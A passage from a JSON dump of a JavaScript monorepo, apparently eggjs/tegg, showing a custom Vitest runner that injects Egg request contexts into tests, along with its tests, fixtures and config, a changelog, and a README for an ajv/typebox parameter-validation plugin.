super.onAfterRunFiles();\n  }\n\n  /**\n   * Override importFile to capture per-file config set by configureTeggRunner()\n   * and await app.ready() during collection phase.\n   */\n  async importFile(filepath: string, source: Parameters<VitestTestRunner['importFile']>[1]): Promise<unknown> {\n    // Clear stale state for this file before re-collection in watch mode\n    if (source === 'collect') {\n      this.fileAppMap.delete(filepath);\n      this.warned = false;\n    }\n\n    // Clear any stale config before importing\n    delete (globalThis as any).__teggVitestConfig;\n\n    const result = await super.importFile(filepath, source);\n\n    if (source === 'collect') {\n      // Use per-file config from configureTeggRunner() if available,\n      // otherwise fall back to default (auto-detect @eggjs/mock/bootstrap app)\n      const rawConfig = (globalThis as any).__teggVitestConfig;\n      delete (globalThis as any).__teggVitestConfig;\n\n      const config: TeggRunnerConfig = {\n        restoreMocks: rawConfig?.restoreMocks ?? true,\n        getApp: rawConfig?.getApp ?? defaultGetApp,\n      };\n\n      if (rawConfig) {\n        debugLog(`captured config for ${filepath}`);\n      } else {\n        debugLog(`auto-detect app for ${filepath}`);\n      }\n\n      // Resolve app and await ready during collection\n      if (!this.fileAppMap.has(filepath)) {\n        try {\n          const app = await config.getApp();\n          if (app) {\n            await app.ready();\n            this.fileAppMap.set(filepath, { app, config });\n            debugLog(`app ready for ${filepath}`);\n          }\n        } catch {\n          if (!this.warned) {\n            this.warned = true;\n            debugLog('getApp failed, skip context injection.');\n          }\n        }\n      }\n    }\n\n    return result;\n  }\n\n  async onBeforeRunSuite(suite: Suite): Promise<void> {\n    if (isFileSuite(suite)) {\n      const filepath = suite.filepath!;\n      debugLog(`onBeforeRunSuite (file): ${filepath}`);\n\n      const fileApp = this.fileAppMap.get(filepath);\n      if (fileApp) {\n        const { app, config } = fileApp;\n\n        if (typeof app.mockContext === 'function' && app.ctxStorage) {\n          const suiteCtx = app.mockContext(undefined, {\n            mockCtxStorage: false,\n            reuseCtxStorage: false,\n          });\n\n          app.ctxStorage.enterWith(suiteCtx);\n\n          let suiteScope: HeldScope | null = null;\n          if (typeof suiteCtx.beginModuleScope === 'function') {\n            suiteScope = await createHeldScope(suiteCtx);\n            debugLog('suite held scope created');\n          }\n\n          this.fileScopeMap.set(filepath, { app, config, suiteCtx, suiteScope });\n          debugLog('file suite scope created');\n        }\n      }\n    }\n\n    await super.onBeforeRunSuite(suite);\n  }\n\n  async onAfterRunSuite(suite: Suite): Promise<void> {\n    if (isFileSuite(suite)) {\n      const filepath = suite.filepath!;\n      debugLog(`onAfterRunSuite (file): ${filepath}`);\n\n      const fileState = this.fileScopeMap.get(filepath);\n      if (fileState) {\n        await releaseHeldScope(fileState.suiteScope);\n        this.fileScopeMap.delete(filepath);\n      }\n      this.fileAppMap.delete(filepath);\n    }\n\n    await super.onAfterRunSuite(suite);\n  }\n\n  async onBeforeTryTask(test: Task): Promise<void> {\n    const filepath = getTaskFilepath(test);\n    if (filepath) {\n      const fileState = this.fileScopeMap.get(filepath);\n      if (fileState) {\n        // Release previous scope on retry to avoid leaks\n        const existing = this.taskScopeMap.get(test.id);\n        if (existing) {\n          await releaseHeldScope(existing.testScope);\n        }\n\n        debugLog(`onBeforeTryTask: ${test.name}`);\n\n        const testCtx = fileState.app.mockContext!(undefined, {\n          mockCtxStorage: false,\n          reuseCtxStorage: false,\n        });\n\n        fileState.app.ctxStorage!.enterWith(testCtx);\n\n        let testScope: HeldScope | null = null;\n        if (typeof testCtx.beginModuleScope === 'function') {\n          testScope = await createHeldScope(testCtx);\n          debugLog('test held scope created');\n        }\n\n        this.taskScopeMap.set(test.id, { testScope, filepath });\n      }\n    }\n\n    await super.onBeforeTryTask(test);\n  }\n\n  async onAfterRunTask(test: Task): Promise<void> {\n    const taskState = this.taskScopeMap.get(test.id);\n    if (taskState) {\n      debugLog(`onAfterRunTask: ${test.name}`);\n\n      await releaseHeldScope(taskState.testScope);\n      this.taskScopeMap.delete(test.id);\n\n      const fileState = this.fileScopeMap.get(taskState.filepath);\n      if (fileState) {\n        await restoreEggMocksIfNeeded(fileState.config.restoreMocks);\n        // Restore suite context\n        fileState.app.ctxStorage!.enterWith(fileState.suiteCtx);\n        debugLog('restored suite context');\n      }\n    }\n\n    await super.onAfterRunTask(test);\n  }\n}\n"
  },
  {
    "path": "tegg/core/vitest/src/shared.ts",
    "content": "import type { AsyncLocalStorage } from 'node:async_hooks';\n\nimport type { Application } from 'egg';\n\nexport type EggMockApp = Application & {\n  // egg-mock ctx API\n  ctxStorage?: {\n    getStore?: () => any;\n    enterWith?: (store: any) => void;\n  } & AsyncLocalStorage<any>;\n\n  mockContext?: (data?: any, options?: any) => any;\n};\n\nexport interface TeggVitestAdapterOptions {\n  /**\n   * Resolve app instance.\n   * Default: import('@eggjs/mock/bootstrap').app\n   */\n  getApp?: () => Promise<EggMockApp | undefined> | EggMockApp | undefined;\n\n  /**\n   * Restore mocks after each test.\n   * Default: true (calls @eggjs/mock.restore())\n   */\n  restoreMocks?: boolean;\n}\n\nexport const DEBUG_ENABLED: boolean = process.env.DEBUG_TEGG_VITEST === '1';\n\nexport function debugLog(message: string, extra?: unknown): void {\n  if (!DEBUG_ENABLED) return;\n  if (extra === undefined) {\n    // eslint-disable-next-line no-console\n    console.log(`[tegg-vitest] ${message}`);\n    return;\n  }\n  // eslint-disable-next-line no-console\n  console.log(`[tegg-vitest] ${message}`, extra);\n}\n\nexport async function defaultGetApp(): Promise<EggMockApp | undefined> {\n  const bootstrap = await import('@eggjs/mock/bootstrap');\n  return (bootstrap as any)?.app;\n}\n\nexport async function restoreEggMocksIfNeeded(restoreMocks: boolean): Promise<void> {\n  if (!restoreMocks) return;\n  const eggMock = await import('@eggjs/mock');\n  const mm = (eggMock as any)?.default || eggMock;\n  if (mm?.restore) {\n    await mm.restore();\n  }\n}\n"
  },
  {
    "path": "tegg/core/vitest/test/fixture_app.test.ts",
    "content": "import assert from 'assert';\nimport { createRequire } from 'module';\nimport path from 'path';\n\nimport mm from '@eggjs/mock';\nimport { describe, beforeAll, afterAll, it } from 'vitest';\n\nimport { configureTeggRunner } from '../src/index.ts';\nimport { HelloService } from './fixtures/apps/demo-app/modules/demo-module/HelloService.ts';\n\nconst require = createRequire(import.meta.url);\n\nconst app = mm.app({\n  baseDir: path.join(__dirname, 'fixtures/apps/demo-app'),\n  framework: path.dirname(require.resolve('egg/package.json')),\n});\n\nconfigureTeggRunner({\n  getApp() {\n    return app as any;\n  },\n  restoreMocks: false,\n});\n\ndescribe('fixture demo app', () => {\n  beforeAll(async () => {\n    await app.ready();\n  });\n\n  afterAll(async () => {\n    await app.close();\n    await mm.restore();\n  });\n\n  it('injects ctx and getEggObject', async () => {\n    const ctx = app.ctxStorage.getStore();\n    assert(ctx);\n    const helloService = (await ctx.getEggObject(HelloService)) as any;\n    assert.strictEqual(helloService.sayHi('Ada'), 'hi Ada');\n  });\n});\n"
  },
  {
    "path": "tegg/core/vitest/test/fixtures/apps/demo-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/demo-module\"\n  }\n]\n"
  },
  {
    "path": "tegg/core/vitest/test/fixtures/apps/demo-app/config/plugin.ts",
    "content": "export default {\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  watcher: false,\n};\n"
  },
  {
    "path": "tegg/core/vitest/test/fixtures/apps/demo-app/modules/demo-module/HelloService.ts",
    "content": "import { AccessLevel, ContextProto } from '@eggjs/core-decorator';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class HelloService {\n  sayHi(name: string) {\n    return `hi ${name}`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/vitest/test/fixtures/apps/demo-app/modules/demo-module/package.json",
    "content": "{\n  \"name\": \"demo-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"demoModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/vitest/test/fixtures/apps/demo-app/package.json",
    "content": "{\n  \"name\": \"demo-app\",\n  \"version\": \"0.0.1\",\n  \"private\": true,\n  \"description\": \"vitest fixture app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/core/vitest/test/get_app_throw.test.ts",
    "content": "import assert from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { configureTeggRunner } from '../src/index.ts';\n\nlet getAppCalls = 0;\n\nconfigureTeggRunner({\n  getApp() {\n    getAppCalls += 1;\n    throw new Error('boom');\n  },\n  restoreMocks: false,\n});\n\ndescribe('getApp throw handling', () => {\n  it('should not crash suite when getApp throws', () => {\n    // The runner calls getApp during importFile (collection phase),\n    // so it should have been called and the error handled gracefully.\n    assert(getAppCalls > 0);\n  });\n});\n"
  },
  {
    "path": "tegg/core/vitest/test/get_store_restore.test.ts",
    "content": "import assert from 'assert';\nimport path from 'path';\n\nimport mm from '@eggjs/mock';\nimport { describe, beforeAll, beforeEach, afterEach, afterAll, it } from 'vitest';\n\nimport { configureTeggRunner } from '../src/index.ts';\n\nconst app = mm.app({\n  baseDir: path.join(__dirname, '../../..', 'plugin/tegg/test/fixtures/apps/egg-app'),\n  framework: require.resolve('egg'),\n});\n\nconfigureTeggRunner({\n  getApp() {\n    return app as any;\n  },\n  restoreMocks: false,\n});\n\ndescribe('ctxStorage.getStore restore', () => {\n  const getCtx = () => app.ctxStorage.getStore();\n  let suiteCtx: any;\n  const testCtxList: any[] = [];\n  const afterEachCtxList: any[] = [];\n\n  beforeAll(() => {\n    suiteCtx = getCtx();\n    assert(suiteCtx);\n  });\n\n  beforeEach(() => {\n    const current = getCtx();\n    testCtxList.push(current);\n    assert(current);\n    assert.notStrictEqual(current, suiteCtx);\n  });\n\n  it('should have test context (1)', () => {\n    const ctx = getCtx();\n    assert(ctx);\n    assert.notStrictEqual(ctx, suiteCtx);\n  });\n\n  it('should have test context (2)', () => {\n    const ctx = getCtx();\n    assert(ctx);\n    assert.notStrictEqual(ctx, suiteCtx);\n  });\n\n  afterEach(() => {\n    const current = getCtx();\n    afterEachCtxList.push(current);\n    assert.strictEqual(current, testCtxList[afterEachCtxList.length - 1]);\n  });\n\n  it('should not conflict with nested ctxStorage.run()', async () => {\n    const outerCtx = getCtx();\n    assert(outerCtx);\n    assert.notStrictEqual(outerCtx, suiteCtx);\n\n    // Nested ctxStorage.run() should see its own store\n    const nestedCtx = app.mockContext(undefined, {\n      mockCtxStorage: false,\n      reuseCtxStorage: false,\n    });\n    await app.ctxStorage.run(nestedCtx, async () => {\n      assert.strictEqual(getCtx(), nestedCtx);\n      assert.notStrictEqual(getCtx(), outerCtx);\n    });\n\n    // After nested run() returns, outer context is restored\n    assert.strictEqual(getCtx(), outerCtx);\n  });\n\n  it('should not conflict with concurrent ctxStorage.run()', async () => {\n    const outerCtx = getCtx();\n    assert(outerCtx);\n\n    await Promise.all([\n      app.ctxStorage.run(app.mockContext(undefined, { mockCtxStorage: false, reuseCtxStorage: false }), async () => {\n        const innerCtx = getCtx();\n        assert(innerCtx);\n        assert.notStrictEqual(innerCtx, outerCtx);\n      }),\n      app.ctxStorage.run(app.mockContext(undefined, { mockCtxStorage: false, reuseCtxStorage: false }), async () => {\n        const innerCtx = getCtx();\n        assert(innerCtx);\n        assert.notStrictEqual(innerCtx, outerCtx);\n      }),\n    ]);\n\n    // After concurrent runs, outer context is restored\n    assert.strictEqual(getCtx(), outerCtx);\n  });\n\n  afterAll(async () => {\n    // After all tests, suite context is restored\n    assert.strictEqual(getCtx(), suiteCtx);\n    assert.strictEqual(testCtxList.length, afterEachCtxList.length);\n    testCtxList.forEach((ctx, index) => {\n      assert.notStrictEqual(ctx, suiteCtx);\n      assert.strictEqual(ctx, afterEachCtxList[index]);\n    });\n    assert.notStrictEqual(testCtxList[0], testCtxList[1]);\n    await app.close();\n    await mm.restore();\n  });\n});\n"
  },
  {
    "path": "tegg/core/vitest/test/hooks.test.ts",
    "content": "import assert from 'assert';\nimport path from 'path';\n\nimport mm from '@eggjs/mock';\nimport { describe, beforeAll, afterAll, beforeEach, afterEach, it } from 'vitest';\n\nimport { configureTeggRunner } from '../src/index.ts';\n\nconst app = mm.app({\n  baseDir: path.join(__dirname, '../../..', 'plugin/tegg/test/fixtures/apps/egg-app'),\n  framework: require.resolve('egg'),\n});\n\nconfigureTeggRunner({\n  getApp() {\n    return app as any;\n  },\n  restoreMocks: false,\n});\n\ndescribe('vitest adapter ctx semantics', () => {\n  const getCtx = () => app.ctxStorage.getStore();\n  let beforeCtx: any;\n  let afterCtx: any;\n  const beforeEachCtxList: Record<string, any> = {};\n  const afterEachCtxList: Record<string, any> = {};\n  const itCtxList: Record<string, any> = {};\n\n  beforeAll(() => {\n    beforeCtx = getCtx();\n  });\n\n  afterAll(async () => {\n    afterCtx = getCtx();\n    assert(beforeCtx);\n    assert(beforeCtx !== itCtxList.foo);\n    assert(itCtxList.foo !== itCtxList.bar);\n    assert.strictEqual(afterCtx, beforeCtx);\n    assert.strictEqual(beforeEachCtxList.foo, afterEachCtxList.foo);\n    assert.strictEqual(beforeEachCtxList.foo, itCtxList.foo);\n    await app.close();\n    await mm.restore();\n  });\n\n  describe('foo', () => {\n    beforeEach(() => {\n      beforeEachCtxList.foo = getCtx();\n    });\n\n    it('should work', () => {\n      itCtxList.foo = getCtx();\n    });\n\n    afterEach(() => {\n      afterEachCtxList.foo = getCtx();\n    });\n  });\n\n  describe('bar', () => {\n    beforeEach(() => {\n      beforeEachCtxList.bar = getCtx();\n    });\n\n    it('should work', () => {\n      itCtxList.bar = getCtx();\n    });\n\n    afterEach(() => {\n      afterEachCtxList.bar = getCtx();\n    });\n  });\n\n  describe('multi it', () => {\n    const multiItCtxList: any[] = [];\n\n    it('should work 1', () => {\n      multiItCtxList.push(getCtx());\n    });\n\n    it('should work 2', () => {\n      multiItCtxList.push(getCtx());\n    });\n\n    afterAll(() => {\n      assert(multiItCtxList[0] !== multiItCtxList[1]);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/vitest/test/setup.ts",
    "content": "if (!process.env.EGG_TYPESCRIPT) {\n  process.env.EGG_TYPESCRIPT = 'true';\n}\n\nconst nodeOptions = process.env.NODE_OPTIONS ?? '';\nif (!nodeOptions.includes('tsx/esm')) {\n  process.env.NODE_OPTIONS = `${nodeOptions} --import=tsx/esm`.trim();\n}\n"
  },
  {
    "path": "tegg/core/vitest/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/vitest/vitest.config.ts",
    "content": "import path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport { defineConfig } from 'vitest/config';\n\nconst workspacePath = (rel: string) => path.resolve(fileURLToPath(new URL('.', import.meta.url)), rel);\n\nexport default defineConfig({\n  resolve: {\n    // Use array form so more specific subpath aliases win over package root aliases.\n    alias: [\n      // In the tegg monorepo, many workspace packages point \"main\" to dist/ which doesn't exist in-source.\n      // Alias to source entrypoints so Vitest/Vite can resolve them.\n      // Important: subpath imports like \"@eggjs/tegg-types/common\" must resolve too.\n      { find: /^@eggjs\\/tegg-types\\/(.*)$/, replacement: workspacePath('../types/$1') },\n      { find: '@eggjs/tegg-types', replacement: workspacePath('../types/index.ts') },\n\n      { find: '@eggjs/core-decorator', replacement: workspacePath('../core-decorator/index.ts') },\n      { find: '@eggjs/tegg-common-util', replacement: workspacePath('../common-util/index.ts') },\n    ],\n  },\n  test: {\n    environment: 'node',\n    include: ['test/**/*.test.ts'],\n    // Register TS loader (ts-node) before tests so Egg can load .ts via Module._extensions.\n    setupFiles: ['test/setup.ts'],\n    // Custom runner for tegg context injection via enterWith + held beginModuleScope.\n    runner: './src/runner.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/plugin/ajv/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-ajv-plugin\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n\n### Bug Fixes\n\n* use @eggjs/ajv-keywords and @eggjs/ajv-formats ([#204](https://github.com/eggjs/tegg/issues/204)) ([31b02a0](https://github.com/eggjs/tegg/commit/31b02a08dac8bf27212fdb213a7d93b5b3a685ba))\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl ajv + typebox Validator ([#201](https://github.com/eggjs/tegg/issues/201)) ([9fd585d](https://github.com/eggjs/tegg/commit/9fd585de9b613466c96b73494a08a494db34ea57))\n"
  },
  {
    "path": "tegg/plugin/ajv/README.md",
    "content": "# @eggjs/ajv-plugin\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/ajv-plugin.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/ajv-plugin.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/ajv-plugin\n[snyk-image]: https://snyk.io/test/npm/@eggjs/ajv-plugin/badge.svg?style-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/ajv-plugin\n[download-image]: https://img.shields.io/npm/dm/@eggjs/ajv-plugin.svg?style-square\n[download-url]: https://npmjs.org/package/@eggjs/ajv-plugin\n\n参考 [@eggjs/typebox-validate](https://github.com/eggjs/egg/tree/next/plugins/typebox-validate) 的最佳实践，结合 ajv + typebox，只需要定义一次参数类型和规则，就能同时拥有参数校验和类型定义（完整的 ts 类型提示）。\n\n## egg 模式\n\n### Install\n\n```shell\n# tegg 注解\nnpm i --save @eggjs/tegg\n# tegg 插件\nnpm i --save @eggjs/tegg-plugin\n# tegg ajv 插件\nnpm i --save @eggjs/ajv-plugin\n```\n\n### Prepare\n\n```json\n// tsconfig.json\n{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n```\n\n### Config\n\n```js\n// config/plugin.js\nexports.tegg = {\n  package: '@eggjs/tegg-plugin',\n  enable: true,\n};\n\nexports.teggAjv = {\n  package: '@eggjs/ajv-plugin',\n  enable: true,\n};\n```\n\n## standalone 模式\n\n### Install\n\n```shell\n# tegg 注解\nnpm i --save @eggjs/tegg\n# tegg ajv 插件\nnpm i --save @eggjs/ajv-plugin\n```\n\n### Prepare\n\n```json\n// tsconfig.json\n{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n```\n\n## Usage\n\n1、定义入参校验 Schema\n\n使用 typebox 定义，会内置到 tegg 导出\n\n```ts\nimport { Type, TransformEnum } from '@eggjs/tegg/ajv';\n\nconst SyncPackageTaskSchema = Type.Object({\n  fullname: Type.String({\n    transform: [TransformEnum.trim],\n    maxLength: 100,\n  }),\n  tips: Type.String({\n    transform: [TransformEnum.trim],\n    maxLength: 1024,\n  }),\n  skipDependencies: Type.Boolean(),\n  syncDownloadData: Type.Boolean(),\n  // force sync immediately, only allow by admin\n  force: Type.Boolean(),\n  // sync history version\n  forceSyncHistory: Type.Boolean(),\n  // source registry\n  registryName: Type.Optional(Type.String()),\n});\n```\n\n2、从校验 Schema 生成静态的入参类型\n\n```ts\nimport { Static } from '@eggjs/tegg/ajv';\n\ntype SyncPackageTaskType = Static<typeof SyncPackageTaskSchema>;\n```\n\n3、在 Controller 中使用入参类型和校验 Schema\n\n注入全局单例 ajv，调用 `ajv.validate(XxxSchema, params)` 进行参数校验，参数校验失败会直接抛出 `AjvInvalidParamError` 异常，\ntegg 会自动返回相应的错误响应给客户端。\n\n```ts\nimport { Inject, HTTPController, HTTPMethod, HTTPMethodEnum, HTTPBody } from '@eggjs/tegg';\nimport { Ajv, Type, Static, TransformEnum } from '@eggjs/tegg/ajv';\n\nconst SyncPackageTaskSchema = Type.Object({\n  fullname: Type.String({\n    transform: [TransformEnum.trim],\n    maxLength: 100,\n  }),\n  tips: Type.String({\n    transform: [TransformEnum.trim],\n    maxLength: 1024,\n  }),\n  skipDependencies: Type.Boolean(),\n  syncDownloadData: Type.Boolean(),\n  // force sync immediately, only allow by admin\n  force: Type.Boolean(),\n  // sync history version\n  forceSyncHistory: Type.Boolean(),\n  // source registry\n  registryName: Type.Optional(Type.String()),\n});\n\ntype SyncPackageTaskType = Static<typeof SyncPackageTaskSchema>;\n\n@HTTPController()\nexport class HelloController {\n  private readonly ajv: Ajv;\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.POST,\n    path: '/sync',\n  })\n  async sync(@HTTPBody() task: SyncPackageTaskType) {\n    this.ajv.validate(SyncPackageTaskSchema, task);\n    return {\n      task,\n    };\n  }\n}\n```\n"
  },
  {
    "path": "tegg/plugin/ajv/package.json",
